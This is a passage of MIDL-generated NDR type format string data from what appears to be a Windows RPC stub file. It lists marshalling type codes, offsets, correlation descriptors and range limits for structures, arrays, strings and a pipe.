0x1f4 ),\t/* 500 */\n/* 198 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 202 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 204 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 206 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 210 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 214 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 216 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (152) */\n/* 218 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 220 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 222 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 224 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 226 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (232) */\n/* 228 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 230 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 232 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 234 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (178) */\n/* 236 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 238 */\tNdrFcShort( 0xffee ),\t/* Offset= -18 (220) */\n/* 240 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 242 */\tNdrFcShort( 0x68 ),\t/* Offset= 104 (346) */\n/* 244 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 246 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 248 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 250 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 252 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 254 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 256 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 260 */\tNdrFcLong( 0x8000 ),\t/* 32768 */\n/* 264 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 266 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 268 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 270 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 272 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (278) */\n/* 274 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 276 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 278 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 280 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (244) */\n/* 282 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 284 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 286 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 288 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (296) */\n/* 290 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 292 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 294 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 296 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 298 */\tNdrFcShort( 0xff3a ),\t/* Offset= -198 (100) */\n/* 300 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 302 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (266) */\n/* 304 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 306 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 308 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 310 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 312 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 314 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 316 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 320 */\tNdrFcLong( 0x1f4 ),\t/* 500 */\n/* 324 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 328 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 330 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 332 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 336 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 340 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 342 */\tNdrFcShort( 0xffc4 ),\t/* Offset= -60 (282) */\n/* 344 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 346 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 348 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 350 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 352 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (358) */\n/* 354 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 356 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 358 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 360 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (304) */\n/* 362 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 364 */\tNdrFcShort( 0x46 ),\t/* Offset= 70 (434) */\n/* 366 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 368 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 370 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 372 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x0,\t\t/* 0 */\n/* 374 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 376 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 378 */\tNdrFcShort( 0xfff4 ),\t/* Offset= -12 (366) */\n/* 380 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 382 */\t\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 384 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 386 */\tNdrFcShort( 0xfecc ),\t/* Offset= -308 (78) */\n/* 388 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 390 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 392 */\tNdrFcShort( 0xffec ),\t/* Offset= -20 (372) */\n/* 394 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 396 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 398 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 400 */\t0x18,\t\t/* Corr desc:  field pointer, FC_LONG */\n\t\t\t0x0,\t\t/*  */\n/* 402 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 404 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 406 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 408 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 412 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 416 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 418 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 420 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 422 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 424 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (430) */\n/* 426 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 428 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 430 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 432 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (396) */\n/* 434 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 436 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 438 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 440 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (448) */\n/* 442 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 444 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 446 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 448 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 450 */\tNdrFcShort( 0xffbc ),\t/* Offset= -68 (382) */\n/* 452 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 454 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (418) */\n/* 456 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 458 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (482) */\n/* 460 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 462 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 464 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 468 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 470 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 472 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 476 */\tNdrFcLong( 0x41000 ),\t/* 266240 */\n/* 480 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 482 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 484 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 486 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 488 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (494) */\n/* 490 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 492 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 494 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 496 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (460) */\n/* 498 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 500 */\tNdrFcShort( 0xffd4 ),\t/* Offset= -44 (456) */\n/* 502 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 504 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (528) */\n/* 506 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 508 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 510 */\t0x18,\t\t/* Corr desc:  field pointer, FC_LONG */\n\t\t\t0x0,\t\t/*  */\n/* 512 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 514 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 516 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 518 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 522 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 526 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 528 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 530 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 532 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 534 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (540) */\n/* 536 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 538 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 540 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 542 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (506) */\n/* 544 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 546 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (590) */\n/* 548 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 550 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 554 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 558 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 560 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 564 */\tNdrFcLong( 0x800 ),\t/* 2048 */\n/* 568 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 570 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 572 */\t0x10,\t\t/* Corr desc:  field pointer,  */\n\t\t\t0x5d,\t\t/* FC_EXPR */\n/* 574 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 576 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 578 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 580 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 584 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 588 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 590 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 592 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 594 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 596 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (608) */\n/* 598 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 600 */\tNdrFcShort( 0xffcc ),\t/* Offset= -52 (548) */\n/* 602 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 604 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (558) */\n/* 606 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 608 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 610 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (568) */\n/* 612 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 614 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (616) */\n/* 616 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 618 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (620) */\n/* 620 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 622 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 624 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 626 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (632) */\n/* 628 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 630 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 632 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 634 */\tNdrFcShort( 0xff80 ),\t/* Offset= -128 (506) */\n/* 636 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 638 */\tNdrFcShort( 0xff64 ),\t/* Offset= -156 (482) */\n/* 640 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 642 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (644) */\n/* 644 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 646 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 648 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 650 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (658) */\n/* 652 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 654 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 656 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 658 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 660 */\tNdrFcShort( 0xfe48 ),\t/* Offset= -440 (220) */\n/* 662 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 664 */\tNdrFcShort( 0xfe82 ),\t/* Offset= -382 (282) */\n/* 666 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 668 */\tNdrFcShort( 0xff46 ),\t/* Offset= -186 (482) */\n/* 670 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 672 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 674 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 676 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (678) */\n/* 678 */\t\n\t\t\t0x12, 0x10,\t/* FC_UP [pointer_deref] */\n/* 680 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (682) */\n/* 682 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 684 */\tNdrFcShort( 0x42 ),\t/* Offset= 66 (750) */\n/* 686 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 688 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 690 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 692 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (700) */\n/* 694 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 696 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 698 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 700 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 702 */\tNdrFcShort( 0xfda6 ),\t/* Offset= -602 (100) */\n/* 704 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 706 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 708 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 710 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 712 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 714 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 716 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 718 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 720 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 724 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 728 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 732 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 734 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 736 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 740 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 744 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 746 */\tNdrFcShort( 0xffc4 ),\t/* Offset= -60 (686) */\n/* 748 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 750 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 752 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 754 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 756 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (762) */\n/* 758 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 760 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 762 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 764 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (708) */\n/* 766 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 768 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 770 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 772 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (776) */\n/* 774 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 776 */\t0xb5,\t\t/* FC_PIPE */\n\t\t\t0x0,\t\t/* 0 */\n/* 778 */\tNdrFcShort( 0xfffc ),\t/* Offset= -4 (774) */\n/* 780 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 782 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 784 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 786 */\tNdrFcShort( 0xff5a ),\t/* Offset= -166 (620) */\n/* 788 */\t\n\t\t\t0x14, 0x8,\t/* FC_FP [simple_pointer] */\n/* 790 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 792 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 794 */\tNdrFcShort( 0xff84 ),\t/* Offset= -124 (670) */\n/* 796 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 798 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 800 */\t\n\t\t\t0x14, 0x20,\t/* FC_FP [maybenull_sizeis] */\n/* 802 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (804) */\n/* 804 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 806 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 808 */\t0x28,\t\t/* Corr desc:  parameter, FC_LONG */\n\t\t\t0x0,\t\t/*  */\n/* 810 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 812 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 814 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 816 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 820 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 824 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 826 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 828 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (830) */\n/* 830 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 832 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (834) */\n/* 834 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 836 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 838 */\t0x28,\t\t/* Corr desc:  parameter, FC_LONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 840 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 842 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 844 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 846 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 850 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 854 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 856 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 858 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (860) */\n/* 860 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 862 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (864) */\n/* 864 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 866 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 868 */\t0x28,\t\t/* Corr desc:  parameter, FC_LONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 870 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 872 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 874 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 876 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 880 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 884 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 886 */\t\n\t\t\t0x14, 0x20,\t/* FC_FP [maybenull_sizeis] */\n/* 888 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (890) */\n/* 890 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 892 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 894 */\t0x28,\t\t/* Corr desc:  parameter, FC_LONG */\n\t\t\t0x0,\t\t/*  */\n/* 896 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 898 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 900 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 902 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 906 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 910 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 912 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 914 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 916 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 918 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (926) */\n/* 920 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 922 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 924 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 926 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x0,\t\t/* 0 */\n/* 928 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 930 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 932 */\tNdrFcShort( 0xfff4 ),\t/* Offset= -12 (920) */\n/* 934 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 936 */\t\n\t\t\t0x14, 0x20,\t/* FC_FP [maybenull_sizeis] */\n/* 938 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (940) */\n/* 940 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 942 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 944 